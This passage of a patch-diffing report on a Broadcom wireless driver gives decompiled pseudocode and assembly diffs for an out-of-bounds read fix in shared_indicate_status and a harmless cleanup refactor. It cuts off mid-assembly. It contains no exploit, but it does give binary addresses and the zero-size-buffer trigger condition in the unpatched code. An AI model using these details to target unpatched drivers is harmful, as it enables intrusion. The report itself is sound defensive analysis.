&lt;h3&gt;Finding 2: Vendor IE Cleanup Refactor in &lt;code&gt;wl_register_ie_upd&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational (not a vulnerability)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Class:&lt;/strong&gt; Behavioral / refactoring (no memory-safety impact)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;wl_register_ie_upd&lt;/code&gt; (Unpatched address: &lt;code&gt;0x140039a94&lt;/code&gt;; Patched address: &lt;code&gt;0x14003b4ec&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Description:&lt;/strong&gt; When a vendor-specific IE update fails, the error-cleanup path frees the IE buffer. The unpatched code performs this by calling the helper &lt;code&gt;sub_14003f534(arg1, arg3, arg4, 0, 0)&lt;/code&gt;. That helper reads &lt;code&gt;*arg3&lt;/code&gt;, and when it is non-NULL calls &lt;code&gt;osl_debug_mfree&lt;/code&gt;, then sets &lt;code&gt;*arg3 = 0&lt;/code&gt; and &lt;code&gt;*arg4 = 0&lt;/code&gt;. The patched code (&lt;code&gt;sub_140040fc0&lt;/code&gt; is the same helper at its new address) removes the helper call from the error path and inlines the identical sequence: read &lt;code&gt;*arg3&lt;/code&gt;, if non-NULL call &lt;code&gt;osl_debug_mfree&lt;/code&gt;, then set &lt;code&gt;*arg3 = 0&lt;/code&gt; and &lt;code&gt;*arg4 = 0&lt;/code&gt;. Because both the helper and the inlined code NULL the freed pointer and zero the size, no dangling pointer is left in either build; there is no use-after-free. The observable difference is source line metadata passed to &lt;code&gt;osl_debug_mfree&lt;/code&gt; (&lt;code&gt;9849&lt;/code&gt; in the helper vs &lt;code&gt;9886&lt;/code&gt; inline) and the inlining itself.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;shared_indicate_status&lt;/code&gt; (OOB Read Fix)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED (0x140012a2c) ---&lt;/span&gt;
&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBufferSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBuffer&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// stored regardless of size&lt;/span&gt;
&lt;span class="n"&gt;NdisMIndicateStatusEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// a5 passed directly. If a6 (size) == 0, this is a zero-length/OOB read downstream.&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;print_indicate_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED (0x1400132e8) ---&lt;/span&gt;
&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBuffer&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBufferSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;[BRCM]%s: buf size is 0, ptr=0x%x, force StatusBuffer=null&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shared_indicate_status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// FIX: do not indicate a stale zero-length buffer&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;NdisMIndicateStatusEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// FIX: zero size -&amp;gt; pass NULL downstream&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;print_indicate_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;wl_register_ie_upd&lt;/code&gt; (Cleanup Refactor)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED (0x140039a94) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sub_14003f534&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;wl_upd_vndr_ies&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// helper frees *arg3, then sets *arg3 = 0 and *arg4 = 0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sub_14003f534&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED (0x14003b4ec) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sub_140040fc0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// same helper, new address&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;wl_upd_vndr_ies&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// inlined equivalent of the helper&amp;#39;s free-and-NULL cleanup&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;osl_debug_mfree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x269e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;..&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;..&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;wl&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;sys&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;wl_oidext.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NULL the pointer (as the helper already did)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// zero the size (as the helper already did)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;shared_indicate_status&lt;/code&gt; Assembly Diff&lt;/h3&gt;
&lt;p&gt;The patched binary intercepts the zero-size condition before the downstream calls: it forces the indicated &lt;code&gt;StatusBuffer&lt;/code&gt; to NULL and zeroes the &lt;code&gt;r9&lt;/code&gt; register (the 4th argument / buffer pointer) passed to &lt;code&gt;print_indicate_status&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x140012a2c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StatusBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditionally&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;print_indicate_status&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;passed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;regardless&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1400132e8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;
